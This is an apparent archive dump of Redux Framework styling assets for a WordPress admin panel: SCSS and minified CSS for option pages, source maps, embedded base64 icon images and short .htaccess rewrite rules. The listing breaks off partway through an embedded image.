"AACI;sBACW;EACP,WAAW,EAAE,IAAI;EACjB,KAAK,EAAE,OAAO;EAEd;8BAAQ;IACJ,KAAK,EAAE,GAAG;AAIlB,8BAAmB;EACf,aAAa,EAAE,GAAG;AAGtB,yBAAc;EACV,KAAK,EAAE,IAAI;EACX,KAAK,EAAE,IAAI;EACX,SAAS,EAAE,IAAI;EACf,WAAW,EAAE,IAAI;EACjB,eAAe,EAAE,IAAI;EACrB,WAAW,EAAE,iBAAiB;EAC9B,MAAM,EAAE,UAAU;EAClB,OAAO,EAAE,QAAQ;EACjB,UAAU,EAAE,OAAO;EACnB,qBAAqB,EAAE,GAAG;EAC1B,kBAAkB,EAAE,GAAG;EACvB,aAAa,EAAE,GAAG;AAGtB,yBAAc;EACV,WAAW,EAAE,0BAA0B;EACvC,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,CAAC;EACT,KAAK,EAAE,OAAO;EACd,YAAY,EAAE,IAAI;AAGtB,+BAAoB;EAChB,UAAU,EAAE,KAAK;EACjB,SAAS,EAAE,KAAK;EAChB,OAAO,EAAE,GAAG;EACZ,aAAa,EAAE,CAAC;EAChB,UAAU,EAAE,IAAI;EAChB,YAAY,EAAE,IAAI;EAClB,MAAM,EAAE,iBAAiB;EACzB,UAAU,EAAE,OAAO;EACnB,kBAAkB,EAAE,GAAG;EACvB,oBAAoB,EAAE,GAAG;EACzB,qBAAqB,EAAE,GAAG;EAC1B,aAAa,EAAE,GAAG;AAGtB,+BAAoB;EAChB,KAAK,EAAE,cAAc;AAGzB,mBAAQ;EACJ,UAAU,EAAE,GAAG", "sources": ["media.scss"], "names": [], "file": "media.css" }lib/redux-framework/assets/css/media/media.scss000064400000002357147206624460015603 0ustar00.redux-main { .button.remove-image, .removeCSS { margin-left: 10px; color: #ef521d; &:hover { color: red; } } .upload_button_div { margin-bottom: 5px; } .upload-error { float: left; color: #666; font-size: 10px; font-weight: bold; text-decoration: none; text-shadow: 1px 1px 0 #FFFFFF; margin: 0 10px 0 0; padding: 3px 10px; background: #FFDFEC; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .reset-button { font-family: Arial, Verdana, sans-serif; float: left; margin: 0; color: #ef521d; border-color: #bbb; } .redux-option-image { max-height: 340px; max-width: 340px; padding: 5px; margin-bottom: 0; margin-top: 10px; margin-right: 15px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .redux-main .upload { width: 80% !important; } .button { margin-top: 2px; } }lib/redux-framework/assets/css/media/.htaccess000064400000001626147206624460015423 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/css/import_export/import_export.css000064400000000244147206624460021101 0ustar00#redux-import-link-wrapper,#redux-import-code-wrapper{display:none}#redux-export-code,#redux-export-link-value{display:none}#redux-import-action span{color:#b94a48}lib/redux-framework/assets/css/import_export/import_export.scss000064400000000303147206624460021260 0ustar00#redux-import-link-wrapper, #redux-import-code-wrapper { display: none } #redux-export-code, #redux-export-link-value { display: none } #redux-import-action span { color: #B94A48 } lib/redux-framework/assets/css/import_export/import_export.css.map000064400000000323147206624460021653 0ustar00{ "version": 3, "mappings": "AAAA,sDAAuD;EACnD,OAAO,EAAE,IAAI;;AAGjB,4CAA6C;EACzC,OAAO,EAAE,IAAI;;AAGjB,yBAA0B;EACtB,KAAK,EAAE,OAAO", "sources": ["import_export.scss"], "names": [], "file": "import_export.css" }lib/redux-framework/assets/css/import_export/.htaccess000064400000001626147206624460017257 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/css/redux-admin.css000064400000474566147206624460015516 0ustar00.spinner{visibility:hidden;display:block}.spinner.is-active{visibility:visible}.redux-main .description{margin-top:7px}.redux-container{background-color:#f5f5f5;background-repeat:repeat-x;background-image:-moz-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f2f2f2), color-stop(100%, #f5f5f5));background-image:-webkit-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);background-image:-ms-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);background-image:-o-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#eeeeee', GradientType=0);background-image:-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);border:1px solid #dedede;-webkit-box-shadow:0 1px 1px rgba(0,0,0,0.04);box-shadow:0 1px 1px rgba(0,0,0,0.04);-moz-box-shadow:0 1px 5px rgba(0,0,0,0.4);margin-top:5px;overflow:hidden}.redux-container .form-table>tbody>tr>th{width:30%}.redux-container .form-table th,.redux-container .form-table td{margin:0;padding:0;width:auto}.redux-container .redux_field_th{font-weight:600;padding:20px 10px 20px 0px;display:block}.redux-container .redux_field_th span:first-child{font-weight:normal;display:block;color:#666}.redux-container #ui-datepicker-div{display:none}.redux-container a:focus{box-shadow:none}.redux-container #redux-header,.redux-container #redux-footer{text-align:right;padding:6px 10px}.redux-container #redux-header{background:#f1f1f1;border-bottom:3px solid blue}.redux-container #redux-header .display_header{float:left;margin:20px 10px}.redux-container #redux-header .display_header h2{display:inline-block;font-style:normal;padding-right:5px}.redux-container #redux-header .display_header .redux-dev-mode-notice-container{position:absolute;top:67px;left:20px;bottom:auto;width:auto}.redux-container #redux-header .display_header span{color:#888}.redux-container #redux-header .display_header span.redux-dev-mode-notice{background-color:#f0ad4e;display:inline;padding:.2em .5em .2em;font-weight:700;line-height:1;color:#fff !important;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}.redux-container #redux-header .icon32{float:right;margin:16px 16px 0}.redux-container #redux-footer{border-top:1px solid #E7E7E7;z-index:999}.redux-container #redux-footer #redux-share{float:left;line-height:28px;font-size:15px}.redux-container #redux-footer #redux-share a{text-decoration:none;margin-right:10px}.redux-container #redux-footer #redux-share a img{margin-bottom:-3px}.redux-container .notice-green{margin:0;border-bottom:1px solid #E7E7E7;background-color:#DFF0D8;color:#468847;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.redux-container .notice-blue{margin:0;border-bottom:1px solid #BCE8F1;background-color:#D9EDF7;color:#3A87AD;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.redux-container .notice-yellow{margin:0;border-bottom:1px solid #E7E7E7;background-color:#FCF8E3;color:#C09853;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.redux-container .notice-red,.redux-container .redux-field-errors{margin:0;border-bottom:1px solid #E7E7E7;background-color:#F2DEDE;color:#B94A48;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.redux-container .redux-field-error input,.redux-container .redux-field-error textarea,.redux-container .redux-field-error checkbox{background-color:#FFF6F6;color:#A00}.redux-container .redux-field-warning input,.redux-container .redux-field-warning textarea,.redux-container .redux-field-warning checkbox{background-color:#fcf8e3;color:#444}.redux-container .redux-field-errors,.redux-container .redux-field-warnings,.redux-container .redux-save-warn{display:none}.redux-container .sticky-save-warn{min-height:76px}.redux-container .sticky-save-warn .redux-save-warn{position:fixed;top:32px;right:21px;left:183px;opacity:1;z-index:9999}.redux-container #info_bar{background:#f3f3f3;border-bottom:1px solid #dedede;padding:6px 10px 6px 6px;text-align:right;-moz-box-shadow:inset 0 1px 0 #fcfcfc;-webkit-box-shadow:inset 0 1px 0 #fcfcfc;box-shadow:inset 0 1px 0 #fcfcfc}.redux-container .redux-group-tab{display:none;margin-bottom:15px}.redux-container .redux-group-tab .redux-theme-data{padding:20px 0;border-top:1px solid #E7E7E7}.redux-container .redux-group-tab .redux-theme-data.theme-description{padding:10px 0;border-width:0}.redux-container .redux-group-tab .redux-theme-data.theme-uri,.redux-container .redux-group-tab .redux-theme-data.theme-author,.redux-container .redux-group-tab .redux-theme-data.theme-version{padding:0;border-width:0}.redux-container .redux-group-tab h3{margin-top:0;line-height:2em;border-bottom:1px solid #E7E7E7}.redux-container .redux-group-tab .redux-section-desc{margin-bottom:15px;color:#666}.redux-container .redux-action_bar{float:right}.redux-container .redux-action_bar .spinner{float:left;margin-top:4px}.redux-container .redux-ajax-loading{display:none;background:red url(data:image/gif;base64,R0lGODlhEAAQAPUAAIiIiIqKio2NjZSUlJqamp6enqKioqSkpK+vr7i4uL+/v8PDw8XFxcnJyc/Pz9HR0dTU1NjY2Nzc3OLi4ubm5unp6ezs7PPz88vLy83NzdDQ0NXV1d3d3eHh4bu7u8zMzOvr6+3t7ZiYmNbW1sDAwMTExNra2s7OztPT09vb2+Xl5QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/i1NYWRlIGJ5IEtyYXNpbWlyYSBOZWpjaGV2YSAod3d3LmxvYWRpbmZvLm5ldCkAIfkEAAoA/wAsAAAAABAAEAAABXDgJY6XZZEoOTnOlI5WdUFNA5UnSR3FJNUSieFAIUUEgcdl4noEBBGSZaHIiSqKhTX2GhVFiQGjuxgkSoYAoosAGE6RhKQrUURHlS+pItMVCHMjEgQ9JBJISg+JT3ciFg4NFkcCNw0OViiDgF0oTC8hACH5BAAKAP8ALAAAAAAQABAAAAVx4CWOZGle1qJYp2hV1xYE29V1JXUYHWUcnQgGwyFFBAENiqUZ1kapFamTyeBcsNOLMkoMGC3GIIEyBBAtRMDAiiSKp04iQqpwc9kRpUCAizgEBVciEQNJFxpKGgECdFAYYBsCAjUMGS0XgAODmDacIyEAIfkEAAoA/wAsAAAAABAAEAAABnbAi3BILBovIMUidBSGQJdNIKBBMomUg6FDMRgoHcOBQowIqNaLJiCIEEMLxdWpnIfITRAHnxgwjiEfDR8UIQYBCEcgDYwdUR6ORxEfG3MgeFiFRB0FBBxEHAQFkUJmaBofamxuRB9/GwICGxeMTRehnrabpERBACH5BAAKAP8ALAAAAAAQABAAAAZ9wItwSCwaL5aFwnIUWiqXUSAwulSYRMrB0KEYDJSO4UAhRgQBDZLpCAgixOSSWFEssEho81IWJgYMTQwDCUgGAQhNCAEGTCMJHU0dCXBDFX1DFhwdeHwFIhxmGBihQxEDaRcOGhYao1WZGIFnAiMUDg6YRR0ioE57Fx2RRkEAIfkEAAoA/wAsAAAAABAAEAAABXLgJY5kaV7WolinaLGQEEBXxZLUUUyUYVATw4FCisg0NZYmIIiQUosKqaJY3FDS1oUoSgwYrcUggTIAEC1EwMCKJCatSYI2qnBx2dGkQOCQOAQFdxdGARoVGhCITE4kGBgWEI8QFgwYWhGTWiMWERFXIyEAIfkEAAoA/wAsAAAAABAAEAAABn/Ai3BILBovloXCchRaKpdRIDC6VJhEysHQoRgMlI7hQCFGBAENkukICCLE5JJYUSywSGjzUhYmBgxNDAMJSAYBCE0IAAZMEQkdTRwKVUMcHHhCFXpDERgYcJYEBZFDI58aFhoOFxpuoUIUGhoUZwJVGA6ZaxccBAQce0QdpUVBACH5BAAKAP8ALAAAAAAQABAAAAZ8wItwSCwaLyEFKXQUhioXSCAAuVSYRMrB0KEYDJSO4UAhmgQBDZKpCQhMxFBJgRVWlFkOtElhUj4NH3VEJQMJFx0NintFCAEGISEQH3BHHR5VThVlRRSMQh0FBBxEHAQFnEJnaRcfHxdtb0WKIWcCVSUNTYgEo7tEHR1HQQAh+QQACgD/ACwAAAAAEAAQAAAGdcCLcEgsGi8hhSJ0FHY6l1EgMLqAmEROo5HqGAwqL5g42qKsoAsqIEgRVacTdAhSLLBI1bWpwiYGDE0MAwlIBgEITQgBBkwjCRxNHQlVdCpGekUqBQSRQxwEBZdDKQIBZ3FqbG5EDYEjpikhW3hFoJ1NRU9HQQA7) no-repeat;width:16px;height:16px;margin:3px 4px 0;float:right}.redux-container #redux-intro-text{background:#f3f3f3;border-bottom:1px solid #dedede;-moz-box-shadow:inset 0 1px 0 #fcfcfc;-webkit-box-shadow:inset 0 1px 0 #fcfcfc;box-shadow:inset 0 1px 0 #fcfcfc;padding:3px;padding:10px 10px}.redux-container #redux-intro-text p{margin:0;font-family:"Lucida Grande", Sans-serif;color:#888}.redux-container .expand_options{cursor:pointer;display:block;height:22px;width:21px;float:left;font-size:0;text-indent:-9999px;margin:1px 0 0 5px;border:1px solid #bbb;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -26px}.redux-container .expand_options.expanded{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -1px}.redux-container .expand_options:hover{border-color:#888}.redux-container .sticky-footer-fixed{background:#f3f3f3;border-top:1px solid #dedede !important;-moz-box-shadow:inset 0 1px 0 #fcfcfc;-webkit-box-shadow:inset 0 1px 0 #fcfcfc;box-shadow:inset 0 1px 0 #fcfcfc}.redux-container .redux-sidebar,.redux-container .redux-main{min-height:300px}.redux-container .redux-main{background:#FCFCFC;margin-left:201px;border-left:1px solid #D8D8D8;padding:10px 20px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #FFF;box-shadow:inset 0 1px 0 #FFF;position:relative}.redux-container .redux-main #redux_ajax_overlay{position:absolute;top:0;left:0;right:0;bottom:0;-moz-opacity:0.10;-khtml-opacity:0.10;opacity:0.10;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=10);filter:alpha(opacity=10);background:#000;z-index:200;display:none}.redux-container .redux-main .form-table.no-border{border-top:none}.redux-container .redux-main .form-table tr{border-bottom:1px solid #E7E7E7}.redux-container .redux-main .form-table tr:last-child{border-bottom:none !important}.redux-container .redux-main .form-table tr th,.redux-container .redux-main .form-table tr td{color:#333}.redux-container .redux-main .form-table tr td table.mceLayout,.redux-container .redux-main .form-table tr td table.mceLayout tr,.redux-container .redux-main .form-table tr td table.mceLayout tr td{padding:0;border-width:0}.redux-container .redux-main .form-table tr td .redux-th-warning{font-size:1em;color:#C09853;font-weight:normal;display:block;margin-top:10px}.redux-container .redux-main .form-table tr td .redux-field-warning{border-color:#C09853;margin-top:10px}.redux-container .redux-main .form-table tr td .redux-th-error{font-size:1em;color:#B94A48;font-weight:normal;display:block;margin-top:10px}.redux-container .redux-main input.large-text{width:100%}.redux-container .redux-main .hide{display:none}.redux-container .redux-main .redux-field-container{padding:20px 0}.redux-container .redux-main .mini,.redux-container .redux-main input[type=text].mini{width:60px;text-align:center}.redux-container .redux-main input{line-height:19px}.redux-container .redux-main img{max-width:100%;height:auto;width:auto !important}.redux-container .redux-main .select2-default{width:auto !important}.redux-container .redux-main .showDefaults{display:block;font-weight:normal;font-size:.8em;color:#888}.redux-container .redux-main span.description{display:block;font-style:normal;font-weight:400}.redux-container .redux-main #redux-system-info textarea{min-height:730px;width:100%}.redux-container .redux-main .field-desc{clear:both;font-size:13px}.redux-container .redux-main .data-full li{width:100%}.redux-container .redux-main .data-half li{width:50%;float:left}.redux-container .redux-main .data-third li{width:33.3%;float:left}.redux-container .redux-main .data-quarter li{width:25%;float:left}.redux-container .redux-main .ui-helper-hidden-accessible{top:inherit}.redux-container .redux-main .form-table{clear:none;margin-top:0px !important}.redux-container .redux-main .form-table tr:first-child th,.redux-container .redux-main .form-table tr:first-child td{padding-top:0}.redux-container .redux-main .input-append input{border-right:0;margin-bottom:0;border-top-right-radius:0;border-bottom-right-radius:0;margin-right:0;float:left;margin-top:0;display:block}.redux-container .redux-main .input-append .add-on{border-top-right-radius:3px;border-bottom-right-radius:3px;margin-left:-2px;padding-top:4px !important;padding-bottom:2px !important}.redux-container .redux-main .input-prepend input{border-left:0;margin-bottom:0;border-top-left-radius:0;border-bottom-left-radius:0;margin-left:0;padding-top:2px;padding-bottom:5px;float:left;margin-top:0;display:block}.redux-container .redux-main .input-prepend .add-on{border-top-left-radius:3px;border-bottom-left-radius:3px;float:left}.redux-container .redux-main .input-append{margin-right:10px;font-size:0;white-space:nowrap;float:left;display:inline-block;margin-bottom:6px}.redux-container .redux-main .input-append .add-on,.redux-container .redux-main .input-prepend .add-on{width:auto;display:inline-block;min-width:16px;padding:3px 4px;font-size:12px;font-weight:400;line-height:20px;text-align:center;text-shadow:0 1px 0 #ffffff;background-color:#eeeeee;border:1px solid #cccccc}.redux-container .redux-main .input-prepend{font-size:0;white-space:nowrap;float:left;display:inline-block;margin-bottom:6px}.redux-container .redux-main pre{white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word}.no-js{border:1px solid #ffbaba;margin:0;border-bottom:1px solid #E7E7E7;background-color:#F2DEDE;color:#B94A48;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.redux-sidebar{width:202px;float:left}.redux-sidebar .redux-group-menu{margin-top:0 !important}.redux-sidebar .redux-group-menu li{margin-top:0}.redux-sidebar .redux-group-menu li.active a,.redux-sidebar .redux-group-menu li.active a:hover,.redux-sidebar .redux-group-menu li.activeChild a,.redux-sidebar .redux-group-menu li.activeChild a:hover{background:#FCFCFC;color:#269ad6;width:184px;opacity:1}.redux-sidebar .redux-group-menu li.active a li a{background:#333;padding-left:5px}.redux-sidebar .redux-group-menu li.divide{padding:0;border-width:1px 0;border-style:solid;border-bottom-color:#E7E7E7;border-top-color:#F9F9F9}.redux-sidebar .redux-group-menu li a:first-child{border-top:none}.redux-sidebar .redux-group-menu li a{display:block;padding:10px 4px 10px 14px;background:#e0e0e0;background:transparent;border-width:1px 0;border-style:solid;border-bottom-color:#E7E7E7;border-top-color:#F9F9F9;opacity:0.7;color:#555;font-weight:600;text-decoration:none;-webkit-transition:none;transition:none}.redux-sidebar .redux-group-menu li a.custom-tab{background:#f6f6f6}.redux-sidebar .redux-group-menu li a img{width:16px;height:16px;position:absolute;left:15px}.redux-sidebar .redux-group-menu li a:hover{background:#e5e5e5;color:#777;opacity:1}.redux-sidebar .redux-menu-warning,.redux-sidebar .redux-menu-error,.redux-sidebar .hasSubSections .extraIconSubsections{display:inline-block;float:right;padding:6px 7px 4px 7px;margin-left:4px;font-family:sans-serif;font-size:9px;font-weight:600;line-height:9px;border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent}.redux-sidebar .redux-menu-warning i,.redux-sidebar .redux-menu-error i,.redux-sidebar .hasSubSections .extraIconSubsections i{margin-left:-3px;margin-top:-3px}.redux-sidebar .redux-menu-error{background-color:#b94a48;color:#f2dede}.redux-sidebar .redux-menu-warning{background-color:#C09853;color:#FCF8E3}.redux-sidebar ul .subsection{display:none}.redux-sidebar .redux-group-tab-link-a{position:relative;outline:0}.redux-sidebar .redux-group-tab-link-a i{vertical-align:middle;font-size:1.35em;position:absolute}.redux-sidebar .redux-group-tab-link-a span{display:block}.redux-sidebar .redux-group-tab-link-a span.group_title{padding-left:30px}.redux-sidebar .redux-group-tab-link-li a.hasError span.group_title{padding-right:25px}.redux-sidebar #redux-header{text-align:center}.redux-sidebar #redux-header .display_header{float:none}.farb-popup-wrapper{position:relative;display:block}.farb-popup{position:absolute;left:40px;top:40px;background-color:white;border:1px solid #222;padding:5px;z-index:100}.mp6 .icon-themes{display:none}.mp6 .redux-container #info_bar{padding:6px 10px 6px 6px}.mp6 .redux-container #info_bar a{margin-top:2px}.redux-timer{text-align:center;font-size:10px;color:#888}.wrap{margin-top:0}@media screen and (max-width: 600px){.redux-sidebar{width:44px}.redux-sidebar .extraIconSubsections{display:none !important}.redux-sidebar .redux-group-menu li a,.redux-sidebar .redux-group-menu li a:hover,.redux-sidebar .redux-group-menu li.active a,.redux-sidebar .redux-group-menu li.active a:hover,.redux-sidebar .redux-group-menu li.activeChild a,.redux-sidebar .redux-group-menu li.activeChild a:hover{width:auto}.redux-sidebar .redux-group-tab-link-a{position:relative}.redux-sidebar .redux-group-tab-link-a i{position:inherit}.redux-sidebar .redux-group-tab-link-a span{display:none;position:absolute;top:0;left:44px;padding:12px;width:200px;background:#eeeeee;border:1px solid #ccc;-webkit-box-shadow:2px 2px 8px rgba(0,0,0,0.2);-moz-box-shadow:2px 2px 8px rgba(0,0,0,0.2);box-shadow:2px 2px 8px rgba(0,0,0,0.2);border-width:1px 1px 1px 0px;z-index:3}.redux-sidebar .redux-group-tab-link-a:hover>span{display:block}.redux-main{margin-left:43px;width:auto;max-width:100%}table.form-table,.form-table>thead,.form-table>tbody,.form-table>tbody>tr>th,.form-table>tbody>tr>td,.form-table>tbody>tr{display:block;width:100% !important;padding:0px !important}.form-table>tbody>tr>th,.form-table>tbody>tr>td{padding:10px !important}.form-table>tbody>tr>th,.form-table>tbody>tr>td{padding:10px !important}}@media screen and (max-width: 782px){.form-table>tbody>tr>th{width:100%}.redux_field_th{padding-bottom:0}.mp6 .redux-container #info_bar{height:auto;padding-bottom:1px}.mp6 .redux-container #info_bar a{margin-top:5px}.redux-container-switch label{padding:5px 10px !important}.redux-container-button_set label{padding:12px 10px}.redux-container #redux-footer #redux-share{line-height:34px}}pre{overflow:hidden}#redux-header h2{color:#fff}.admin-color-fresh .button.ui-datepicker-current,.admin-color-fresh button.ui-datepicker-close,.wp-customizer .button.ui-datepicker-current,.wp-customizer button.ui-datepicker-close{background-color:#007db9 !important}.admin-color-fresh .ui-datepicker-buttonpane button.ui-datepicker-current,.wp-customizer .ui-datepicker-buttonpane button.ui-datepicker-current{background:#1e8cbe !important;color:white !important;border:1px solid #104b66 !important}.admin-color-fresh .ui-datepicker-header .ui-icon,.wp-customizer .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAADwCAMAAADYSUr5AAAA7VBMVEX8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vywC3+8AAAATnRSTlMAGBAyBAhQv4OZLiJUcEBmYBoSzQwgPBZCSEoeWiYwUiyFNIeBw2rJz8c4RBy9uXyrtaWNqa2zKP2fJO8KBgKPo2KVoa9s351GPm5+kWho0kj9AAAPhUlEQVR4nO1djWLbthEGyUiq5YSSLXtp7FpLOmfzkmxr126tmi2p03RJ1/Xe/3EGgARxPyAgRbIk2/hkSz4CJO4+HsE7AJSVysjI2AMUUOxahZ2iANhzBtZWr4BoIRSYAVN5u4QwDwQDRbcwfUi5KS3wFuDmFnQLa4Dtb//cqktwD5QEFFwfUs7PoCCA7y4bEJVFizcIob8KmhAplwwqVjt+9FBl3uINQniwEiryEyw9JHqGpQdEFNi+B4QQ7QOiHhysIPoAxUqxvdvvA9K42bsAv4S2fxfYOe57IJSRkZGRkZGxx7jxSHDHcRBXQMTyIjInBgHwBJ/bEx8PEANC+uhbpSSggCBAVODVabpI1S/k4WLZpTn6NpMhoX9Y40hxYERFpMcqUs4AloCtDQdID1YhnyXZ2hLjAYWiO9Dy1PDB7tPhIqLx+uMB8grZaR+Qxl2/C2RkZGRkZGRk7A7rBf7J0DR5/LUTjzUPIPSPGvQJiVJiB7kcQCiUOJrcFNtDZIf2xarQ3aGvLNxAVIFAabz90BFiBIlycTBhgWwOWCH0FLYHlPqwHaCvcIn2ZbosCevfPTRiFFcgvHukCjWwrc3GrGh1fsAof8EaUReKXkCB4/MzFNo97qLpFiKFYv/kNR5YQxQbQEofkZ2OuEOHqqT6gFTpru8CN7x/+jaZkZGRkZGRcV+x/rLUNcMMqUAscgnFocmpqkTzqymwVAPxfJ5PnIUUQOUKT04tEdWZyv3JCQSn96WS4pD97QfyW25A7NhSAbyhmVj0FEltA4vdiygBibXhoUYgykCUP7HwPTDeEqAIcHVMkZg7Zx4k0uFANs63hPQXCoRLAwdgGsr9Az7Qv7sgQGgg1aPl/BJLExBWgG4RFRLFImGmIquPC/klEGyCG0AuAXaJJC+B8FVe9NYQDEcXB8g6AQcjYJ1goJIggHWCrFR0S6kRHN5+4BzFi8NaoN35NRxUvL+JJdZr7PV4wK6fj8nIyMjIyNhr3OxdXAYq7FHZwB6bDSzSh4sF0utChqo0NAvaT1hLzXwFinmCzmeDucEQK18TTaQoFgP7bNC+RZ4OT4T6gQogDFYk+1QxQlj19QGSAWKiLYp8P0Ag1Gbz1ULfWHLg9iUnQNK5QQJcukm04blKLH2GgEJCY+HzXAZWCvHKco3Bp6MIaCjSXXRJyOxeqhnzEaF93MfFGW/O16ZvDL5TM4MJIjujz/cHypkQuuzRwWJ93BKdIt+wCRAPl9kpe2Ikkb2mFgGlxh/i40d3EHfdvoyMjIyMu43ylt/IAmGHnN5iIt7wKfbv01RAcJqFRl9lcjYQSnbQqKgC4fYOwSJt6N6trE0twZ9kN/PqNpTQeICvr4TLsDYC06U7BMjshS+v1/aT7IwQYD5LcgRQXMT2FrBfBLjZ6151jDElk9tPFfpUgk2yregusX25BJbwAFEfM+YI6vGAti4bTtizB+TjfQCrERyhKb2X8D6A9wX75P4t4neBYJeP6pdhg/gQl8MWvytzeSTjgOQBynQdh/iXKdxOrGJ/RkZGRsb9QmXihGr5+g8GGg9uTh+KoVZuNIzV+CwRucFBEyr1mVjx4irOxwM1BhirB6Q+2eNQi4eqR+aF6mELtoMzCR7V9RAFe/ZvQogNiyY8FPSUTFsLp8TeTmMui5mtw7bcaT0Yw2AA4wFRQIlkgq+1DQrNhkmoxS5Jq+u6bMAIGRECEANgXHTgWzwgBOhDH2l0oTQ4D8D5NMktBgNywAEMjo8rwATMZrPY7JGxBoJCkIBDQiAY09EGTUiBCWkUpISfGPR5AAwBfZiG2z7Ayc1yeKTxid39xBNwfHr4O0LA48ePFTvhYrF1r4tyAoz9n2MCqEuBtp/6GDR0oAYfG/R6wJExHYZHfhygsv7fEWCOj4bYmsP5A+pL4MkTfAnMlD4F+r3bobKvTyTA2P/w7PN+Agq2QW8piqMCpTBwenoKvX0AHGkGtP2YAPvTEWA7QUTAudn7/NxtOG46wWNmDtpBEkBzN7rBEvAFHp+YTB/q97qPAN4gHFqgBi8uLsC7qPCA6mg41G/+ErByPwEXDdoNxRhOx+M5jPEzQugS0ht+b1/Y3gEnYMAIAOIBE29/hIDucE8tmMsNOgK4B1RHFu4UCRlMHzv0xzcajcfdXWDs2h8TArBCkoDUJYDLmz6w7ip3BFS0ve5wTRwAn6keMA9I3QYbfSZ0DKbyt+7OXjGI1idPcfNyAyfAMlCrzaGqphYrxHocLHRJVycnfGUcbtT+jIyMjIw9x7Nn8fJSzG0TmFtO8rZT+XT3S3ub+tKJbbLd5diTVp50+zahyeHSslJ/YPrU0fuazrZO2CZ92/ZCCVXlGRiZKPJyPPRxyIFWeXLQBXJBKiq/3divEAN6ZwM200Qjm7EJBZeWm/PRWVCbYK7s7u2l4XaCz+lzgOfMfhMonXr7TWzeZb98dbgIzBT8Ub8eYYUqfZ4rVJ/MDbIDgPqTulJ/xvntWAtjIisqnwxOkGz0n077FARoY79GdA6HPE4rOy196NiMWHTZlSSApcOgXpy/fHV2joaNKu3ffsAnRcBf4K/6NcIG6tIxk3HyoXPjASqfUgXbYN5PzpL2njkR9QMjeDTVHDTCgRuxOegjoO0FvKzP/t/